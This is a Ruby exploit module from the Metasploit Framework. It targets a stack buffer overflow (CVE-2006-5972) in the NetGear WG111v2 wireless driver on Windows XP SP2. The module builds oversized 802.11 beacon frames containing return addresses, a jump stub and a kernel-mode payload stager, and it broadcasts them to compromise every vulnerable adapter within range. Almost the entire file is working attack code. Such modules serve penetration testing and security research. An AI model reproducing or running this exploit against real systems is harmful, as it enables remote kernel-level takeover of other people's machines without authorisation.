##
# $Id: netgear_wg111_beacon.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = LowRanking

	include Msf::Exploit::Lorcon2
	include Msf::Exploit::KernelMode

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'NetGear WG111v2 Wireless Driver Long Beacon Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the NetGear WG111v2 wireless
				device driver. This stack buffer overflow allows remote code execution in kernel mode.
				The stack buffer overflow is triggered when a 802.11 Beacon frame is received that
				contains more than 1100 bytes worth of information elements.

				This exploit was tested with version 5.1213.6.316 of the WG111v2.SYS driver and
				a NetGear WG111v2 USB adapter. Since this vulnerability is exploited via beacon frames,
				all cards within range of the attack will be affected. The tested adapter used
				a MAC address in the range of 00:18:4d:02:XX:XX.

				Vulnerable clients will need to have their card in a non-associated state
				for this exploit to work. The easiest way to reproduce this bug is by starting
				the exploit and then unplugging and reinserting the USB card. The exploit can
				take up to a minute to execute the payload, depending on system activity.

				NetGear was NOT contacted about this flaw. A search of the SecurityFocus
				database indicates that NetGear has not provided an official patch or
				solution for any of the thirty flaws listed at the time of writing. This list
				includes BIDs: 1010, 3876, 4024, 4111, 5036, 5667, 5830, 5943, 5940, 6807, 7267, 7270,
				7371, 7367, 9194, 10404, 10459, 10585, 10935, 11580, 11634, 12447, 15816, 16837,
				16835, 19468, and 19973.

				This module depends on the Lorcon2 library and only works on the Linux platform
				with a supported wireless card. Please see the Ruby Lorcon2 documentation
				(external/ruby-lorcon/README) for more information.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					['CVE', '2006-5972'],
					['OSVDB', '30473'],
					['URL', 'http://projects.info-pull.com/mokb/MOKB-16-11-2006.html'],
				],
			'Privileged'     => true,

			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					# Its a beautiful day in the neighborhood...
					'Space'  => 1000,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Windows XP SP2 with the latest updates
					# 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
					[ 'Windows XP SP2 (5.1.2600.2122), WG111v2.SYS 5.1213.6.316',
						{
							'Ret'      => 0x80502d7f, # jmp esp
							'Platform' => 'win',
							'Payload'  =>
							{
								'ExtendedOptions' =>
								{
									'Stager'       => 'sud_syscall_hook',
									'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
									'Recovery'     => 'idlethread_restart',
									'KiIdleLoopAddress' => 0x804dbb27,
								}
							}
						}
					],

					# Windows XP SP2 install media, no patches
					# 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
					[ 'Windows XP SP2 (5.1.2600.2180), WG111v2.SYS 5.1213.6.316',
						{
							'Ret'      => 0x804ed5cb, # jmp esp
							'Platform' => 'win',
							'Payload'  =>
							{
								'ExtendedOptions' =>
								{
									'Stager'       => 'sud_syscall_hook',
									'PrependUser'  => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
									'Recovery'     => 'idlethread_restart',
									'KiIdleLoopAddress' => 0x804dc0c7,
								}
							}
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 16 2006'))

		register_options(
			[
				OptString.new('ADDR_DST', [ true,  "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),
				OptInt.new('RUNTIME', [ true,  "The number of seconds to run the attack", 60])
			], self.class)
	end

	def exploit
		open_wifi

		stime = Time.now.to_i
		rtime = datastore['RUNTIME'].to_i
		count = 0

		print_status("Sending exploit beacons for #{datastore['RUNTIME']} seconds...")
		while (stime + rtime > Time.now.to_i)
			wifi.write(create_beacon)
			select(nil, nil, nil, 0.10) if (count % 100 == 0)

			count += 1

			# Exit if we get a session
			break if session_created?
		end

		print_status("Completed sending beacons.")
	end

	# Convert arbitrary data into a series of information elements
	def ie_padding(data)
		ret = 0
		idx = 0
		len = 0

		while(idx < data.length)
			len = data[idx+1]
			if (! len)
				data << "\x00"
				len = 0
			end

			idx += len + 2
		end

		data << yield(idx - data.length)
	end

	def create_beacon

		ssid   = rand_text_alphanumeric(16)
		bssid  = ("\x00" * 2) + rand_text(4)
		src    = ("\x00" * 2) + rand_text(4)
		seq    = [rand(255)].pack('n')
		stamp  = rand_text(8)

		frame =
			"\x80" +                      # type/subtype
			"\x00" +                      # flags
			"\x00\x00" +                  # duration
			eton(datastore['ADDR_DST']) + # dst
			src +                         # src
			bssid +                       # bssid
			seq   +                       # seq
			stamp +                       # timestamp value
			"\x64\x00" +                  # beacon interval
			rand_text(2) +      # capability flags

			# ssid tag
			"\x00" + ssid.length.chr + ssid +

			# supported rates
			"\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +

			# current channel
			"\x03" + "\x01" + channel.chr

		# Bounce through EDI to the uncorrupted payload
		jumper =
			"\x6a\x39" + # push byte +0x39
			"\x58"     + # pop eax
			"\x01\xc7" + # add edi, eax
			"\xff\xe7"   # jmp edi

		# Overwrite enough to pop the return
		buf = rand_text(1160)

		# Kernel-mode stager fun goes here
		buf[0, payload.encoded.length] = payload.encoded

		# Return address is a jmp ESP
		buf[1101, 4] = [ target.ret ].pack('V')

		# Jump back to EDI + 0x39
		buf[1113, jumper.length] = jumper

		# Pad it out to be a valid set of IEs
		frame << ie_padding(buf) {|c| rand_text(c) }

		return frame
	end

end
